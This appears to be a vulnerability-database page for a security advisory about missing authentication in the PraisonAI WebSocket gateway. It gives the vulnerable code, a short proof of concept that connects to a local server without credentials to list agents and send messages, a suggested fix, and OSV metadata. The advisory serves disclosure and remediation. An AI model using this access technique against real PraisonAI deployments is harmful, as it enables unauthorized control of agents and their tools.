PYSEC-2026-474

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)

# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
 import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
 # {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.

Suggested Fix

async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()
Impacted products
Name purl
praisonai pkg:pypi/praisonai

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.96"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.97"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.55",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.59rc11",
        "0.0.59rc2",
        "0.0.59rc3",
        "0.0.59rc5",
        "0.0.59rc6",
        "0.0.59rc7",
        "0.0.59rc8",
        "0.0.59rc9",
        "0.0.6",
        "0.0.61",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.8",
        "0.0.9",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "1.0.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "2.0.0",
        "2.0.1",
        "2.0.10",
        "2.0.11",
        "2.0.12",
        "2.0.13",
        "2.0.14",
        "2.0.15",
        "2.0.16",
        "2.0.17",
        "2.0.18",
        "2.0.19",
        "2.0.2",
        "2.0.20",
        "2.0.22",
        "2.0.23",
        "2.0.24",
        "2.0.25",
        "2.0.26",
        "2.0.27",
        "2.0.28",
        "2.0.29",
        "2.0.3",
        "2.0.30",
        "2.0.31",
        "2.0.32",
        "2.0.33",
        "2.0.34",
        "2.0.35",
        "2.0.36",
        "2.0.37",
        "2.0.38",
        "2.0.39",
        "2.0.40",
        "2.0.41",
        "2.0.42",
        "2.0.43",
        "2.0.44",
        "2.0.45",
        "2.0.46",
        "2.0.47",
        "2.0.48",
        "2.0.49",
        "2.0.5",
        "2.0.50",
        "2.0.51",
        "2.0.53",
        "2.0.54",
        "2.0.55",
        "2.0.56",
        "2.0.57",
        "2.0.58",
        "2.0.59",
        "2.0.6",
        "2.0.60",
        "2.0.61",
        "2.0.62",
        "2.0.63",
        "2.0.64",
        "2.0.65",
        "2.0.66",
        "2.0.67",
        "2.0.68",
        "2.0.69",
        "2.0.7",
        "2.0.70",
        "2.0.71",
        "2.0.72",
        "2.0.73",
        "2.0.74",
        "2.0.75",
        "2.0.76",
        "2.0.77",
        "2.0.78",
        "2.0.79",
        "2.0.8",
        "2.0.80",
        "2.0.81",
        "2.0.9",
        "2.1.0",
        "2.1.1",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.1",
        "2.2.10",
        "2.2.11",
        "2.2.12",
        "2.2.13",
        "2.2.14",
        "2.2.15",
        "2.2.16",
        "2.2.17",
        "2.2.18",
        "2.2.19",
        "2.2.2",
        "2.2.20",
        "2.2.21",
        "2.2.22",
        "2.2.24",
        "2.2.25",
        "2.2.26",
        "2.2.27",
        "2.2.28",
        "2.2.29",
        "2.2.3",
        "2.2.30",
        "2.2.31",
        "2.2.32",
        "2.2.33",
        "2.2.34",
        "2.2.35",
        "2.2.36",
        "2.2.37",
        "2.2.38",
        "2.2.39",
        "2.2.4",
        "2.2.40",
        "2.2.41",
        "2.2.42",
        "2.2.43",
        "2.2.44",
        "2.2.45",
        "2.2.46",
        "2.2.47",
        "2.2.48",
        "2.2.49",
        "2.2.5",
        "2.2.50",
        "2.2.51",
        "2.2.52",
        "2.2.53",
        "2.2.54",
        "2.2.55",
        "2.2.56",
        "2.2.57",
        "2.2.58",
        "2.2.59",
        "2.2.6",
        "2.2.60",
        "2.2.61",
        "2.2.62",
        "2.2.63",
        "2.2.64",
        "2.2.65",
        "2.2.66",
        "2.2.67",
        "2.2.68",
        "2.2.69",
        "2.2.7",
        "2.2.70",
        "2.2.71",
        "2.2.72",
        "2.2.73",
        "2.2.74",
        "2.2.75",
        "2.2.76",
        "2.2.77",
        "2.2.78",
        "2.2.79",
        "2.2.8",
        "2.2.80",
        "2.2.81",
        "2.2.82",
        "2.2.83",
        "2.2.84",
        "2.2.86",
        "2.2.87",
        "2.2.88",
        "2.2.89",
        "2.2.9",
        "2.2.90",
        "2.2.91",
        "2.2.93",
        "2.2.95",
        "2.2.96",
        "2.2.97",
        "2.2.98",
        "2.2.99",
        "2.3.0",
        "2.3.1",
        "2.3.10",
        "2.3.11",
        "2.3.12",
        "2.3.13",
        "2.3.14",
        "2.3.15",
        "2.3.16",
        "2.3.18",
        "2.3.19",
        "2.3.2",
        "2.3.20",
        "2.3.21",
        "2.3.22",
        "2.3.23",
        "2.3.24",
        "2.3.25",
        "2.3.26",
        "2.3.27",
        "2.3.28",
        "2.3.29",
        "2.3.3",
        "2.3.30",
        "2.3.31",
        "2.3.32",
        "2.3.33",
        "2.3.34",
        "2.3.35",
        "2.3.36",
        "2.3.37",
        "2.3.38",
        "2.3.39",
        "2.3.4",
        "2.3.40",
        "2.3.41",
        "2.3.42",
        "2.3.43",
        "2.3.44",
        "2.3.45",
        "2.3.46",
        "2.3.47",
        "2.3.48",
        "2.3.49",
        "2.3.5",
        "2.3.50",
        "2.3.51",
        "2.3.52",
        "2.3.53",
        "2.3.54",
        "2.3.55",
        "2.3.56",
        "2.3.57",
        "2.3.58",
        "2.3.59",
        "2.3.6",
        "2.3.60",
        "2.3.61",
        "2.3.62",
        "2.3.63",
        "2.3.64",
        "2.3.65",
        "2.3.66",
        "2.3.67",
        "2.3.68",
        "2.3.69",
        "2.3.7",
        "2.3.70",
        "2.3.71",
        "2.3.72",
        "2.3.73",
        "2.3.74",
        "2.3.75",
        "2.3.76",
        "2.3.77",
        "2.3.78",
        "2.3.79",
        "2.3.8",
        "2.3.80",
        "2.3.81",
        "2.3.82",
        "2.3.83",
        "2.3.84",
        "2.3.85",
        "2.3.86",
        "2.3.87",
        "2.3.9",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.5.6",
        "2.5.7",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.6.5",
        "2.6.6",
        "2.6.7",
        "2.6.8",
        "2.7.0",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.8.9",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9",
        "3.10.0",
        "3.10.1",
        "3.10.10",
        "3.10.11",
        "3.10.12",
        "3.10.13",
        "3.10.14",
        "3.10.15",
        "3.10.16",
        "3.10.17",
        "3.10.18",
        "3.10.19",
        "3.10.2",
        "3.10.20",
        "3.10.21",
        "3.10.22",
        "3.10.23",
        "3.10.24",
        "3.10.25",
        "3.10.26",
        "3.10.27",
        "3.10.3",
        "3.10.4",
        "3.10.5",
        "3.10.6",
        "3.10.7",
        "3.10.8",
        "3.10.9",
        "3.11.0",
        "3.11.1",
        "3.11.10",
        "3.11.11",
        "3.11.12",
        "3.11.13",
        "3.11.14",
        "3.11.2",
        "3.11.3",
        "3.11.4",
        "3.11.8",
        "3.11.9",
        "3.12.0",
        "3.12.1",
        "3.12.2",
        "3.12.3",
        "3.2.0",
        "3.2.1",
        "3.3.0",
        "3.3.1",
        "3.4.0",
        "3.4.1",
        "3.5.0",
        "3.5.1",
        "3.5.2",
        "3.5.3",
        "3.5.4",
        "3.5.5",
        "3.5.6",
        "3.5.7",
        "3.5.8",
        "3.5.9",
        "3.6.0",
        "3.6.1",
        "3.6.2",
        "3.7.0",
        "3.7.1",
        "3.7.2",
        "3.7.3",
        "3.7.4",
        "3.7.5",
        "3.7.6",
        "3.7.7",
        "3.7.8",
        "3.7.9",
        "3.8.0",
        "3.8.1",
        "3.8.10",
        "3.8.11",
        "3.8.12",
        "3.8.13",
        "3.8.14",
        "3.8.16",
        "3.8.17",
        "3.8.18",
        "3.8.19",
        "3.8.2",
        "3.8.20",
        "3.8.21",
        "3.8.22",
        "3.8.3",
        "3.8.4",
        "3.8.5",
        "3.8.6",
        "3.8.7",
        "3.8.8",
        "3.8.9",
        "3.9.0",
        "3.9.1",
        "3.9.10",
        "3.9.11",
        "3.9.12",
        "3.9.13",
        "3.9.14",
        "3.9.15",
        "3.9.16",
        "3.9.17",
        "3.9.18",
        "3.9.19",
        "3.9.2",
        "3.9.20",
        "3.9.21",
        "3.9.22",
        "3.9.23",
        "3.9.24",
        "3.9.25",
        "3.9.26",
        "3.9.27",
        "3.9.28",
        "3.9.29",
        "3.9.3",
        "3.9.30",
        "3.9.31",
        "3.9.32",
        "3.9.33",
        "3.9.34",
        "3.9.35",
        "3.9.4",
        "3.9.5",
        "3.9.6",
        "3.9.7",
        "3.9.8",
        "3.9.9",
        "4.0.0",
        "4.1.0",
        "4.2.0",
        "4.2.1",
        "4.2.2",
        "4.2.3",
        "4.2.4",
        "4.3.0",
        "4.3.1",
        "4.4.0",
        "4.4.10",
        "4.4.11",
        "4.4.12",
        "4.4.2",
        "4.4.3",
        "4.4.4",
        "4.4.5",
        "4.4.6",
        "4.4.7",
        "4.4.8",
        "4.4.9",
        "4.5.0",
        "4.5.1",
        "4.5.10",
        "4.5.11",
        "4.5.12",
        "4.5.13",
        "4.5.14",
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.2",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.3",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.5",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.6",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68",
        "4.5.69",
        "4.5.7",
        "4.5.70",
        "4.5.71",
        "4.5.72",
        "4.5.73",
        "4.5.74",
        "4.5.76",
        "4.5.77",
        "4.5.78",
        "4.5.79",
        "4.5.8",
        "4.5.80",
        "4.5.81",
        "4.5.82",
        "4.5.83",
        "4.5.85",
        "4.5.87",
        "4.5.88",
        "4.5.89",
        "4.5.9",
        "4.5.90",
        "4.5.93",
        "4.5.94",
        "4.5.95",
        "4.5.96"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34952",
    "GHSA-cfh6-vr3j-qc3g"
  ],
  "details": "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -\u003e `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n    return JSONResponse({\n        \"agents\": list(self._agents.keys()),\n        \"sessions\": len(self._sessions),\n        \"clients\": len(self._clients),\n    })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n    await websocket.accept()\n    client_id = str(uuid.uuid4())\n    self._clients[client_id] = websocket\n    # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host=\u0027127.0.0.1\u0027, port=8765).start())\" \u0026\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\n import asyncio, websockets, json\nasync def run():\n    async with websockets.connect(\u0027ws://127.0.0.1:8765/ws\u0027) as ws:\n        print(\u0027Connected with no auth\u0027)\n        await ws.send(json.dumps({\u0027type\u0027: \u0027join\u0027, \u0027agent_id\u0027: \u0027assistant\u0027}))\n        print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n # {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\n Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n    token = websocket.query_params.get(\"token\") or \\\n            websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n    if self._config.auth_token and token != self._config.auth_token:\n        await websocket.close(code=4001, reason=\"Unauthorized\")\n        return\n    await websocket.accept()\n```",
  "id": "PYSEC-2026-474",
  "modified": "2026-07-01T20:23:01.615956Z",
  "published": "2026-06-29T11:50:47.964004Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34952"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfh6-vr3j-qc3g"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Missing Authentication in WebSocket Gateway"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…